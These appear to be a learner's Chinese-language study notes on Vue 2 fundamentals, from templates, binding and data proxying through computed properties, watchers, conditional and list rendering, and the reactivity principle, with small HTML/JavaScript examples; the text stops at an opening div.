1.Vue核心

1.1 初识Vue

1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象。

2.root容器里的代码依然符合html规范,只不过混入了一些特殊的vue语法。

3.root容器里的代码被称为“Vue模板”。

4.容器和实例的关系:容器和实例只能是一一对应的关系。开发中只会出现一个vue实例

a.多个容器对应一个实例,只有第一个容器会绑定。

b.多个实例对应一个容器,只有第一个实例会生效。

5.JS表达式和JS代码

a.JS表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方,例如:a,a+b,demo(1),x==y?"A":"B".

b.js代码(语句):只控制走向不产生值

if(){},for(){}

6.{{xxx}}中xxx要写表达式,且xxx可以自动读取到data中的所有属性。

7.一旦data中的数据发生变化,那么模板中用到该数据的地方也会自动更新。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="../VUE/js/vue.js"></script>
</head>
<body>
    <div id="root">
        <h1>
            <!-- 差值语法 -->
            {{name}}
        </h1>
    </div>
    <div>
        <h1>
            <!-- 差值语法 -->
            {{name}}
        </h1>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip=false;

        //创建vue实例
        new Vue({
            el: '#root',//el用于指定vue实例为哪个容器服务,值通常为css选择器字符串/也可以写document.getelementById()(一般不用)
            data: {
                //data内的数据仅供el绑定的元素使用
                name: "hello word",
            }
        })
        
    </script>
</body>
</html>

1.2 模板语法

 1.2.1 差值语法

差值语法只管标签内容,例如:上方代码中的yyyy是标签体内容。

写法{{yyyy}},yyyy是js表达式,且可以读取到data中的所有属性。

<h1 x="xxxx">
    yyyy 
</h1>

1.2.2 指令语法

指令语法只管标签属性,例如:上方代码中的xxxx是标签属性。

功能:用于解析标签(包括:标签属性,绑定事件等等),xxxx也是是js表达式,且可以读取到data中的所有属性。

如果属性前面加了v-bind,那么属性后面的“xx”内容,就会被当做表达式来执行。

v-bind:可以简写为:

备注:vue中有很多指令,且形式都是:v-***,此处v-bind只是举例子使用。

    <div id="root">
        <h1>
             差值语法 <br>
           你好 {{name}}
        </h1>
        <h1>
            指令语法 <br>
        <h1>
            指令语法 <br>
          <a v-bind:href="url">百度</a>
          <a :href="url">百度</a>
       </h1>
       </h1>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip=false;
        //创建vue实例
        new Vue({
            el: '#root',//el用于指定vue实例为哪个容器服务,值通常为css选择器字符串/也可以写document.getelementById()(一般不用)
            data: {
                //data内的数据仅供el绑定的元素使用
                name: "jack",
                url: "https://www.baidu.com"
            }
        })
    </script>

1.3数据绑定

vue有两种绑定方式:单向绑定和双向绑定

<div id="root">
       单向数据绑定 <input type="text" v-bind:value="oneway"><br>
       双向数据绑定 <input type="text" v-model:value="twoway"><br>
       <!-- 简写 -->
       单向数据绑定 <input type="text" :value="oneway"><br>
       双向数据绑定 <input type="text" v-model:="twoway"><br>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip=false;
        //创建vue实例
        new Vue({
            el: '#root',//el用于指定vue实例为哪个容器服务,值通常为css选择器字符串/也可以写document.getelementById()(一般不用)
            data: {
                //data内的数据仅供el绑定的元素使用
                oneway: "one-way",
                twoway: "two-way"
            }
        })
    </script>

1.3.1单向绑定(v-bind:)

数据只能从data流向页面,无法从页面影响data

1.3.2双向绑定(v-model:)

数据可以从data流向页面,页面也可以流向data

1.3.3备注

1.双向绑定一般都应用在表单类元素上如:input,select,redio等等,有value的元素,因为只有用户有操做的元素,才有可能改变vaule,才有双向绑定的意义。类似于<h1>等标签,用户无法修改value,自然也没有双向绑定的意义。

2.v-model:value可以简写为v-model,因为v-model默认收集的就是value属性值。

1.3.4 简写

v-bind:value简写为:value

v-model:value简写为:v-model:

1.3.5 el与data的两种写法

1.3.5.1 el写法

(1)new Vue的时候配置el属性

(2)先创建Vue实例,接收以后通过v.$mount("#id")对el进行绑定

1.3.5.2 data写法

(1)对象式

(2)函数式

在组件中,data必须使用函数式否则会报错。

1.3.5.3 注意:

在Vue管理的函数中,一定不要用箭头函数,否则this就不再是Vue实例了,而是Window。

    <div id="root">
      <h1>{{name}}</h1>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip=false;
        //创建vue实例
       const vue= new Vue({
            //el: '#root',//第一种写法

            //data第两种写法
            /*data第一种写法 对象式
            data: {
               name: "hello word"
            }*/


            // data第二种写法 函数式
            data(){
                return {
                    name: "hello word"
                }
            }
        })
        vue.$mount('#root')//第二种写法
    </script>

1.4 MVVM模型

1.4.1 概念

1.M:模型(Model)对应data中的数据

2.V:视图(View)对应模板

3.VM:视图模型(ViewMode)对应Vue实例对象


    <div id="root">
      <h1>学校名称:{{name}}</h1>
      <h1>学校地址:{{address}}</h1>
      <h1>VM属性:{{$createElement}}</h1>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip=false;
        //创建vue实例
       const vm= new Vue({
            el: '#root',//第一种写法
            data: {
                name: "华盛顿第一人民大学",
                address: "华盛顿南街123号",
            }
        })
        console.log(vm)
    </script>

1.4.2结论

(1)data中的所有属性最后都会出现在vm上。

(2)vm上的所有属性以及vue圆形上的所有属性,在vue模板中都可以直接使用

1.5 数据代理

1.5.1 Object.defineproperty方法

 <div id="root">
    </div>
    <script type="text/javascript">
        let num=18;
       let person={
        name:"张三",
        sex:"男",
         age: num
       }
       /*增加age属性      
       入参:
            1.增加属性的对象
            2.增加的属性名称
            3.属性的配置       
       */
       Object.defineProperty(person,"age",{
        /*
        value:18,
        enumerable:true,//可以枚举
        writable:true,//是否可以修改
        configurable:true//是否可以被删除
        */
       //当有人读取person的age时调用
        get:function(){
            //return "hello"
            console.log("有人读取了age属性")
            return num;
        },
        //当有人修改person的age时调用
        set:function(value){
            //return "hello"
            console.log("有人修改了age属性")
            num=value;
        }
       })
       console.log(person)
       /*把object转为数组
         1. 如果enumerable为false:
            Object.keys(person)无法取值值age,
            如果enumerable为true:
            Object.keys(person)可以取值age,
            默认false
        2.  如果writable为false:
            则属性不可被修改
            如果writable为true:
            则属性可被修改
            默认false
        3.  configurable是否可以被删除同以上两个
       */
    //console.log(Object.keys(person))
    </script>

1.5.2 数据代理概念

通过一个对象代理,对另一个对象中属性的操作(读/写)

    <script type="text/javascript">
        let objx={x:100}
        let objy={y:200}
        /*
            通过objy操作objx的x属性
            给objy添加一个x属性 
            get方法返回值为objx.x
            set方法修改bjx.x

        */
       Object.defineProperty(objy,"x",{
        get: function(){
            return objx.x;
        },
        set:function(value){
            objx.x=value
        }
       })
    </script>

1.5.3 Vue中的数据代理 

(1)Vue中的数据代理:通过vm对象来代理data中属性的操作(读/写)。

(2)Vue中数据代理的好处:更加方便的操作(读/写)data中的数据。

(3)基本原理:通过Object.defineProperty()把data对象中的所有属性都加到vm上,为每一个添加到vm身上的属性都制定一个getter/setter方法,在getter/setter方法内部去操作(读/写)data中的属性。

具体内容参考后面的数据劫持。

1.6事件处理

1.6.1事件的基本处理

事件的基本使用:

(1)使用v-on:xxx 或者@xxx绑定事件,其中xxx是事件名

(2)事件的回调需要配置在methods对象中,最终会在vm桑。

(3)methods中配置的函数,不要使用箭头函数,否则this指向的不是vue而是window

(4)methods中配置的函数都是被vue所管理的函数,this指向vm或者组件实例对象

(5)@click="demo"和@click="demo($event)"效果是一样的,但是后者有传参。

<div id="root">
        <h2>欢迎来到{{address}}</h2>
        <!-- <button v-on:click="showInfo">点我提示信息</button> -->
        <button @click="showInfo1">点我提示信息1(不传参)</button>
        <button @click="showInfo2($event,66)">点我提示信息2(传参)</button>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        //创建vue实例
        const vm = new Vue({
            el: '#root',//第一种写法
            data: {
                address: "华盛顿第一人民医院",
            },
            methods: {
                /* showInfo: (event) => {
                    //所有被vue管理的函数最好都不要写箭头函数
                    //console.log(this)//如果用箭头函数定义this对象为window
                } */
                showInfo1(event) {
                    
                    //console.log(this==vm)//true this是vue对象
                    //获取时间源对象
                    /* console.log(event.target) */ 
                    alert("1点我提示信息1")               
                },
                showInfo2(event,number) {
                    console.log(event)
                    console.log(number)
                    //console.log(this==vm)//true this是vue对象
                    //获取时间源对象
                    /* console.log(event.target) */ 
                    alert("2点我提示信息2")               
                },
            }
        })

    </script>

1.6.2 事件修饰符

Vue中的事件修饰符

(1)prevent:阻止默认事件(常用)。

(2)stop:组织事件冒泡(常用)。

(3)once:事件只能触发一次(常用)。

(4)capture:使用事件的捕获模式。

(5)self:只有event.target是当前操作的元素才会触发的时间。

(6)passive:时间的默认行为立即执行,无需等待时间回调执行完毕

  <div id="root">
        <h2>欢迎来到{{address}}</h2>
        <!-- 阻止默认行为 -->
        <!-- <a href="https://www.baidu.com" @click="showInfo">点我提示信息</a> -->
        <a href="https://www.baidu.com" @click.prevent="showInfo">点我提示信息</a>
        <div class="demo1" @click="showInfo">
            <!-- 阻止冒泡 -->
            <button @click.stop="showInfo">阻止冒泡</button>
        </div>
        <!-- 事件只触发一次 -->
        <button @click.once="showInfo">事件只触发一次</button>
        <!-- 阻止事件捕获 -->
        <div class="box1" @click.capture="showMsg(1)">
            div1
            <div class="box2" @click="showMsg(2)">
                div2
            </div>
        </div>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        //创建vue实例
        const vm = new Vue({
            el: '#root',//第一种写法
            data: {
                address: "华盛顿第一人民医院",
            },
            methods: {
                showInfo(event) {
                    //阻止事件默认行为
                    //event.preventDefault()
                    alert("你好")
                },
                showMsg(n) {
                    alert("n=" + n)
                },
            }
        })

    </script>
    <style>
        .demo1 {
            height: 100px;
            width: 200px;
            background-color: black;
        }

        .box1 {
            padding: 5px;
            background-color: aqua;

            .box2 {
                background-color: orange;
            }
        }
    </style>

1.6.3键盘事件

(1)Vue中常用的按键别名:

                回车=》enter

                删除=》delete(捕获删除和退格键)

                退出=》esc

                空格=》space

                换行=》tab(特殊,必须配合keyDown使用)

                上=》up

                下=》down

                左=》left

                右=》right

(2)Vue未提供别名的按键可以用原始的key值去绑定,但要注意转为kebab-case(短横线命名)

(3)系统修饰键(用法特殊):ctrl、alt、shift,meta(win)

       (3.1)配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。

        (3.2)配合keydown使用:正常触发事件。

(4)也可以用keyCode去指定按键(不推荐)。

(5)Vue.config.keyCodes.自定义键名=键码,可以定制按键别名。

    <div id="root">
        <input type="text" placeholder="按下回车提示输入" @keyup="showInfo">
        <input type="text" placeholder="按下回车提示输入" @keyup.hc="showInfo">
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        Vue.config.keyCodes.hc=13//定义一个别名
        //创建vue实例
        const vm = new Vue({
            el: '#root',
            data: {
            },
            methods: {
                showInfo(event){
                    //if(event.keyCode!=13)return;
                    console.log(event.key,event.keyCode)
                }
            }
        })

    </script>

1.6.4总结

1.7.2的修饰符可以连续使用:@click.passive.stop="demo"

1.7.3系统修饰键后面也可以连续使用:@keyUp.ctrl.y="demo"

1.7 计算属性与监视

当页面有两个输入框,且另一个位置需要计算两个框之内的内容时:

1.7.1计算属性

1.7.1.1 差值语法

    <div id="root">
       姓<input type="text" placeholder="请输入姓" @keyup.enter="firstNameChange"><br>
       名<input type="text" placeholder="请输入名" @keyup.enter="lastNameChange"><br>
       姓名:{{firstName}}{{lastName}}
       
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        //创建vue实例
        const vm = new Vue({
            el: '#root',
            data: {
                firstName:"",
                lastName:"",
            },
            methods: {
                firstNameChange(event){
                   this.firstName= event.target.value.slice(0,3)
                },
                lastNameChange(event){
                    this.lastName= event.target.value
                    if(this.lastName!=""){
                        this.lastName="-"+ this.lastName
                    }

                }
            }
        })

    </script>
1.7.1.2计算属性

计算属性:

(1)定义:要用的属性不存在,要通过已有属性进行计算。

(2)原理:底层借助了Object.defineproperty方法提供的getter和setter方法。

(3)get函数什么时候执行:

        (3.1)初次读取属性时会执行一次。

        (3.2)当以来的属性,数据发生改变时,会再次调用。

(4)优势:与methods实现相比,内部有缓存机制(可服复用),效率更高,调试方便。

(5)备注:

        (5.1)计算属性最终会出现在vm上,直接读取即可使用。

        (5.2)如果计算属性要被修改,那么必须写set函数去响应修改,且

set中要引起计算式依赖的数据发生改变。


    <div id="root">
       姓<input type="text" placeholder="请输入姓" @keyup.enter="firstNameChange"><br>
       名<input type="text" placeholder="请输入名" @keyup.enter="lastNameChange"><br>
       姓名:{{fullName}}
       
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        //创建vue实例
        const vm = new Vue({
            el: '#root',
            data: {
                firstName:"",
                lastName:"",
            },
            computed:{
                fullName:{
                    //当游人读该属性时,他就回去执行该属性的get方法
                    get(){
                        console.log("get方法被调用");
                        console.log()
                       let fullName= this.firstName+(this.lastName==""?"":"-"+this.lastName);
                        return fullName;
                    },
                    //当修改该属性时,他就回去执行该属性的set方法
                    set(value){
                        console.log("set方法被调用");
                        const arr=value.split("-");
                        this.firstName=arr[0];
                        this.lasstName=arr[1];
                        return fullName;
                    }

                }
            },
            methods: {
                firstNameChange(event){
                   this.firstName= event.target.value
                },
                lastNameChange(event){
                    this.lastName= event.target.value
                }
            }
        })

    </script>

1.7.1.3计算属性简写

当计算属性只考虑读取,不考虑编辑时计算属性可以简写:


    <div id="root">
       姓<input type="text" placeholder="请输入姓" @keyup.enter="firstNameChange"><br>
       名<input type="text" placeholder="请输入名" @keyup.enter="lastNameChange"><br>
       姓名:{{fullName}}
       
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        //创建vue实例
        const vm = new Vue({
            el: '#root',
            data: {
                firstName:"",
                lastName:"",
            },
            computed:{
                //当只有获取属性没有设置属性时
                fullName(){
                       let fullName= this.firstName+(this.lastName==""?"":"-"+this.lastName);
                        return fullName;
                }
            },
            methods: {
                firstNameChange(event){
                   this.firstName= event.target.value
                },
                lastNameChange(event){
                    this.lastName= event.target.value
                }
            }
        })

    </script>

1.7.2 监视属性

1.7.2.1监视属性两种写法

监视属性watch:

(1)当贝坚实的属性发生变化是,回电好书自动调用,执行相关代码。

(2)监视的属性必须存在才能监视

(3)监视属性的两种写法:

        (3.1).new Vue是传入watch配置

        (3.2)通过vm.$watch监视

     <div id="root">
        <h1>今天天气很{{info}}</h1>
        <button @click="editIsHot">
            切换天气
        </button>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        //创建vue实例
        const vm = new Vue({
            el: '#root',
            data: {
                isHot: true,
            },
            computed: {
                info() {
                    return this.isHot ? "炎热" : "凉爽";
                }
            },
            methods: {
                editIsHot() {
                    this.isHot = !this.isHot
                }
            },
            /* watch:{
                isHot:{
                    immediate:true,//初始化时让handler调用一下
                    handler(newValue,oldValue){
                        console.log("isHot被修改了,newValue="+newValue+",oldValue="+oldValue)
                    }
                }
            } */

        })
        vm.$watch('isHot', {
            immediate: true,//初始化时让handler调用一下
            handler(newValue, oldValue) {
                console.log("isHot被修改了,newValue=" + newValue + ",oldValue=" + oldValue)
            }
        })
    </script>

1.7.2.2深度监视

深度监视:

(1)VUe中的watch默认部件是对象内部值得改变。(一层)

(2)配置deep:true可以监测对象内部值改变。(多层)

备注:

(1)Vue自身可以检测对象内部指的改变,但是Vue提供的watch默认不可以。

(2)使用watch根据数据具体结构,决定是否采用深度监视。

 <div id="root">
        <h1>今天天气很{{info}}</h1>
        <button @click="editIsHot">
            切换天气
        </button>
        <h1>
            a的值为:{{numbers.a}}
        </h1>
        <button @click="numbers.a++ ">
            点我a+1
        </button><br>
        <h1>
            b的值为:{{numbers.b}}
        </h1>
        <button @click="numbers.b++ ">
            点我a+1
        </button>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        //创建vue实例
        const vm = new Vue({
            el: '#root',
            data: {
                isHot: true,
                numbers:{
                    a:1,
                    b:2
                }
            },
            computed: {
                info() {
                    return this.isHot ? "炎热" : "凉爽";
                }
            },
            methods: {
                editIsHot() {
                    this.isHot = !this.isHot
                }
            },
             watch:{
                isHot:{
                    immediate:true,
                    handler(newValue,oldValue){
                        console.log("isHot被修改了,newValue="+newValue+",oldValue="+oldValue)
                    }
                },
                //监视多级结构中某个结构的变化
                /* 'numbers.a':{
                    handler(newValue,oldValue){
                        console.log("numbers.a被修改了,newValue="+newValue+",oldValue="+oldValue)
                    }
                }, */
                numbers:{
                    //监视多级结构中所有结构的变化
                    deep:true,
                    handler(newValue,oldValue){
                        console.log("numbers被修改了,newValue="+newValue+",oldValue="+oldValue)
                    }
                },
            } 

        })
    </script>

1.7.2.3监视属性简写

1.7.3 计算属性和监视实现对比

computed和watch之间的区别:

(1)computed能完成的功能,watch都可以完成。

(2)watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作。

两个重要的小原则:

(1)所有被Vue管理的函数最好写成普通函数,这样this指向的是vm或者组件实例对象。

(2)所有不被VUe所管理的函数(定时器回调函数,ajax回调函数等),做好使用箭头函数,这样this指向的才是vm

<div id="root">
        <h1>今天天气很{{info}}</h1>
        <button @click="editIsHot">
            切换天气
        </button>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        //创建vue实例
        const vm = new Vue({
            el: '#root',
            data: {
                isHot: true,
            },
            computed: {
                info() {
                    return this.isHot ? "炎热" : "凉爽";
                }
            },
            methods: {
                editIsHot() {
                    this.isHot = !this.isHot
                }
            },
            watch: {
                //正常写法
                /* isHot:{
                    //immediate:true,//初始化时调用handler
                    //deep:true,//开启深度监视
                    handler(newValue,oldValue){
                        console.log("numbers被修改了,newValue="+newValue+",oldValue="+oldValue)
                    }
                } ,*/
                //简写
                /*  isHot(newValue, oldValue) {
                     console.log("numbers被修改了,newValue=" + newValue + ",oldValue=" + oldValue)
                 } */
            }
        })
        //正常写法
       /*  vm.$watch('isHot', {
            handler(newValue, oldValue) {
                console.log("numbers被修改了,newValue=" + newValue + ",oldValue=" + oldValue)
            }
        }) */
        //简写
        vm.$watch('isHot', function(newValue, oldValue) {
                console.log("numbers被修改了,newValue=" + newValue + ",oldValue=" + oldValue)
            }
        )
    </script>

1.8 class和style绑定

1.8.1 概念

(1)在应用界面中某个(些)元素的样式是变化的。

(2)class/style绑定就是专门实现动态样式效果的技术

1.8.2 class绑定

(1):class='xxx'。

(2)表达式是字符串‘classA’。

(3)表达式是对象{classA:isA,classB:isB}。

(4)表达式是数组['classA','classB']。

<style>
        .basic {
            width: 300px;
            height: 300px;
            border: 1px solid black;
        }
    
        .happy {
            background: red;
        }
    
        .sad {
            background: gray;
        }
    
        .normal {
            background: skyblue;
        }
    
        .with1 {
            background: green;
        }
    
        .with2 {
            color: red;
            font-size: 50px;
        }
    
        .with3 {
            border: 2px solid #000;
            /* 设置边框样式 */
            border-radius: 10px;
            /* 设置圆角半径 */
        }
    </style>
    <div id="root">
        <!-- 字符串写法适用于:样式的类名不确定需要动态指定 -->
        <div class="basic" :class="moodClass" @click="changeMood">{{name}}</div>
         <!-- 数组写法适用于:样式的个数不确定 名字也不确定 -->
        <div class="basic" :class="arrClass" @click="changeMood">{{name}}</div>
         <!-- 对象写法适用于:样式的个数确定 名字也确定 但是动态决定是否生效-->
        <div class="basic" :class="objClass" @click="changeMood">{{name}}</div>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        //创建vue实例
        const vm = new Vue({
            el: '#root',
            data: {
                name:'class绑定',
                moodClass:'normal',
                arrClass:['with1','with2','with3'],
                objClass:{
                    with1:false,
                    with2:false
                }
            },
            methods: {
                changeMood(){
                    const moodArr=['happy','sad','normal']
                    console.log()
                    this.moodClass=moodArr[Math.floor(Math.random()*3)]
                }
            }
        })

    </script>

1.8.3 style绑定

(1):style="{{fontSize:xxx}}"其中xxx是动态值

(2):style="[a,b]"其中ab是样式的对象

<div id="root">
        <!-- <div class="basic" :style="{fontSize: fontSize+'px'}">{{name}}</div> -->
        <!-- 对象写法 -->
        <div class="basic" :style="styleObj">{{name}}</div>
        <!-- 数组写法 -->
        <div class="basic" :style="[styleObj,styleObj2]">{{name}}</div>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        //创建vue实例
        const vm = new Vue({
            el: '#root',
            data: {
                name:'class绑定',
                // fontSize:40,
                styleObj:{
                    fontSize: '40px'
                },
                styleObj2:{
                    backgroundColor: 'blue'
                },
            },
            methods: {
            }
        })

    </script>

1.9 条件渲染

1.9.1条件渲染指令

(1)v-if 与 v-else/v-else-if

                写法:

                (1.1)v-if="表达式"。

                (1.2)v-else-if="表达式"。

                (1.3)v-else。

                    适用于:切换频率较低的场景

                    特点:不展示的dom元素直接移除。

                    注意:v-if可以和v-else-if,v-else一起使用。但是结构不能被“打断”。

(2)v-show

                写法:v-show="表达式"

                适用于:切换频率较高的场景

                特点:不展示的dom元素未被移除,仅仅使用样式隐藏

(3)备注:

        (3.1)使用v-if时,元素可能无法获取到,而v-show元素一定会获取到。

        (3.2)template不能和v-show配合使用,v-if可以

<div id="root">
        <button @click="changeShow">点击切换</button>
        <div  v-if="isShow">{{name}}</div>
        <div v-show="isShow">{{name}}</div>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        //创建vue实例
        const vm = new Vue({
            el: '#root',
            data: {
                name:'v-if和v-else条件渲染',
                isShow:true
            },
            methods: {
                changeShow(){
                    this.isShow=!this.isShow
                }
            }
        })

    </script>

1.9.2 v-if和v-show区别

(1)如果频繁切换用v-show。(页面不显示,但是元素还在)

(2)当条件不成立时,v-if所有子节点都不会解析。(页面不显示,元素也不加载)

1.10 列表渲染

1.10.1循环遍历

v-for指令:

(1)用于展示列表数据。

(2)语法:v-for="(item,index) in xxx" :key="yyy"。

(3)可以遍历:数组,对象,字符串,指定次数。

    <div id="root">
        人员列表
        <ul>
            <!-- 遍历数组 -->
            <li  v-for="(person,index) in personList" ::key="index">{{person.name}}-{{person.age}}</li>
        </ul>
        汽车信息
        <ul>
            <!-- 遍历对象 -->
            <li  v-for="(param,index) in car" ::key="index">{{param}}-{{index}}</li>
        </ul>
        字符串信息
        <ul>
            <!-- 遍历字符串 -->
            <li  v-for="(char,index) in str" ::key="index">{{char}}-{{index}}</li>
        </ul>
        循环指定次数
        <ul>
            <!-- 遍历字符串 -->
            <li  v-for="(char,index) in 6" ::key="index">{{char}}-{{index}}</li>
        </ul>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        //创建vue实例
        const vm = new Vue({
            el: '#root',
            data: {
                personList:[{
                    id:"0001",
                    name:"张三",
                    age:18
                },{
                    id:"0002",
                    name:"李四",
                    age:19
                },{
                    id:"0003",
                    name:"王五",
                    age:20
                }],
                car:{
                    name:"A8",
                    price:"1236541233",
                    color:"black"
                },
                str:"abcd"
            },
            methods: {
                
            }
        })

    </script>

1.10.2 key的原理(面试题)

面试题:react,vue中key有什么作用?(key的内部原理)

(1)虚拟dom中key的作用:

                key是虚拟dom对象的标识,当状态中的数据发生变化时,vue会根据【新数据】生成【新虚拟dom】,随后vue对【新虚拟dom】与【旧虚拟dom】进行差异比较,比较规则如下:

(2)比较规则:

        (2.1)旧虚拟dom中找到的新虚拟dom相同的key。

                (2.1.1)若虚拟dom中内容没变,直接使用之前的真是dom。

                (2.2.2)若虚拟dom中的内容变了,则生成新的真是dom,随后替换掉页面中

                                真实dom。

        (2.2)旧虚拟dom中未找到与新虚拟dom中相同的key

                (2.2.1)创建新的真是dom,然后渲染到页面。

(3)用index作为key可能会引发的问题:

        (3.1)若对数据进行逆序添加,逆序删除等破坏顺序的操作

                    会产生没有必要的真是dom更新==》界面效果没问题,但是效率低

        (3.2)如果结构中含有输入类dom:

                    会产生错误的dom更新==》页面有问题

(4)开发中如何选择key:

        (4.1)最好使用每条数据的唯一标识作为key,比如id,手机号,身份证号等等。

        (4.2)如果不存在对数据的逆序删除,逆序添加等破坏顺序的操作,仅用作渲染,

                     使用index作为key没有任何问题。

<div id="root">
        人员列表
        <ul>
            <!-- 遍历数组 -->
            <li  v-for="(person,index) in personList" ::key="index">
                {{person.name}}-{{person.age}}
                <input type="text">
            </li>
        </ul>
        <button @click.once="addPerson">添加一个老刘</button>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        //创建vue实例
        const vm = new Vue({
            el: '#root',
            data: {
                personList:[{
                    id:"0001",
                    name:"张三",
                    age:18
                },{
                    id:"0002",
                    name:"李四",
                    age:19
                },{
                    id:"0003",
                    name:"王五",
                    age:20
                }],
            },
            methods: {
                addPerson(){
                    const person={id:"0004",name:"老刘",age:21}
                    this.personList.unshift(person)
                }
            }
        })

    </script>

1.10.3 列表筛选

可以使用计算实行或者监视属性实现,优先使用计算属性。

<div id="root">
        人员列表
        <ul>
            <input type="text" v-model="keyWords" placeholder="请输入">
            <!-- 遍历数组 -->
            <li v-for="(person,index) in fliterPersonList" ::key="index">
                {{person.name}}-{{person.age}}-{{person.sex}}
            </li>
        </ul>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        //创建vue实例
        //监视属性实现
        /* const vm = new Vue({
            el: '#root',
            data: {
                keyWords: "",
                personList: [{
                    id: "0001",
                    name: "马冬梅",
                    age: 18,
                    sex: "女"
                }, {
                    id: "0002",
                    name: "周冬雨",
                    age: 19,
                    sex: "女"
                }, {
                    id: "0003",
                    name: "周杰伦",
                    age: 20,
                    sex: "男"
                }, {
                    id: "0004",
                    name: "艾伦",
                    age: 21,
                    sex: "男"
                }],
                fliterPersonList: [],
            },
            watch: {
                
                keyWords: {
                    immediate: true,
                    handler(value) {
                        this.fliterPersonList = this.personList.filter((p) => {
                            return p.name.indexOf(value) !== -1
                        })
                    }
                }
            },
            methods: {
            }
        }) */
        const vm = new Vue({
            el: '#root',
            data: {
                keyWords: "",
                personList: [{
                    id: "0001",
                    name: "马冬梅",
                    age: 18,
                    sex: "女"
                }, {
                    id: "0002",
                    name: "周冬雨",
                    age: 19,
                    sex: "女"
                }, {
                    id: "0003",
                    name: "周杰伦",
                    age: 20,
                    sex: "男"
                }, {
                    id: "0004",
                    name: "艾伦",
                    age: 21,
                    sex: "男"
                }],
            },
            //计算属性实现
            computed: {
                fliterPersonList() {
                  return   this.personList.filter((p) => {
                        return p.name.indexOf(this.keyWords) !== -1
                    })
                }
            }
        })
    </script>

1.10.4 列表排序

增加排序属性,计算属性fliterPersonList返回搜索之前,进行一次数组排序,然后返回排序后的数组。


    <div id="root">
        人员列表
        <ul>
            <input type="text" v-model="keyWords" placeholder="请输入"><button @click="changeSortType(1)">年龄升序</button><button @click="changeSortType(2)">年龄降序</button><button @click="changeSortType(0)">原顺序</button>
            <!-- 遍历数组 -->
            <li v-for="(person,index) in fliterPersonList" ::key="index">
                {{person.name}}-{{person.age}}-{{person.sex}}
            </li>
        </ul>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        //创建vue实例
        const vm = new Vue({
            el: '#root',
            data: {
                sortType:0,//0原顺序 1年龄升序 2年龄降序
                keyWords: "",
                personList: [{
                    id: "0001",
                    name: "马冬梅",
                    age: 22,
                    sex: "女"
                }, {
                    id: "0002",
                    name: "周冬雨",
                    age: 19,
                    sex: "女"
                }, {
                    id: "0003",
                    name: "周杰伦",
                    age: 25,
                    sex: "男"
                }, {
                    id: "0004",
                    name: "艾伦",
                    age: 21,
                    sex: "男"
                }],
            },
            //计算属性实现
            computed: {
                fliterPersonList() {
                   const arr =  this.personList.filter((p) => {
                        return p.name.indexOf(this.keyWords) !== -1
                    })
                    //判断是否排序
                    if(this.sortType){
                        arr.sort((a,b)=>{
                            return this.sortType===1?a.age-b.age:b.age-a.age
                        })
                    }
                    return arr;
                }
            },methods: {
                changeSortType(value){
                    console.log(this.sortType)
                    this.sortType=value
                    console.log(this.sortType)
                }
            },
        })
    </script>

1.10.5 Vue无法检测到的数据改变

如果以对象的形式更新personList[0],Vue无法检测到数据的改变,vue开发工具也不会体现,但是如果先点击按钮,再打开Vue开发工具,则可以看到修改后的数据,但是页面并未修改,故:如果按第二种形式修改data里的属性的内容,Vue无法检测到属性的修改。


    <div id="root">
        人员列表
        <ul>
            <!-- 遍历数组 -->
            <button @click="updateMDM">更新马冬梅</button>
            <li v-for="(person,index) in personList" :key="person.id">
                {{person.name}}-{{person.age}}-{{person.sex}}
            </li>
        </ul>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        //创建vue实例
        const vm = new Vue({
            el: '#root',
            data: {
                personList: [{
                    id: "0001",
                    name: "马冬梅",
                    age: 22,
                    sex: "女"
                }, {
                    id: "0002",
                    name: "周冬雨",
                    age: 19,
                    sex: "女"
                }, {
                    id: "0003",
                    name: "周杰伦",
                    age: 25,
                    sex: "男"
                }, {
                    id: "0004",
                    name: "艾伦",
                    age: 21,
                    sex: "男"
                }],
            },
            methods: {
                updateMDM() {
                    /*        生效            
                    this.personList[0].name="马什么梅"
                      this.personList[0].age=29 */
                      //不生效
                    this.personList[0] = {
                        id: "0001",
                        name: "马什么梅",
                        age: 29,
                        sex: "女"
                    }
                }
            },
        })
    </script>

1.10.6 Vue监测原理

Vue中监视数据的原理:

(1)vue会监视data中所有层次的数据。

(2)如何监测对象中的数据:

         通过setter实现监测,且要在new Vue时就要传入检测的数据。

         (2.1)对象中后追加的属性Vue默认不做响应式处理。

         (2.2)如需给后添加的属性做响应式处理请使用如下API:

                  (2.2.1)Vue.set(targer,propertyName/index,value)

                  (2.2.2)vm.$set(targer,propertyName/index,value)

(3)如何检测数组中的数据:

          通过包括数组更新元素的方法实现,本质就做了两件事:

          (3.1)调用原生对应的方法,操作数组中的元素。

          (3.2)重新解析模板,进行页面更新。

(4)在Vue中修改数组中的某个元素一定要调用如下方法:

        (4.1)使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()

        (4.2)Vue.set()、vm.$set(),不能给vm或vm跟数据对象(data)添加属性。


    <div id="root">
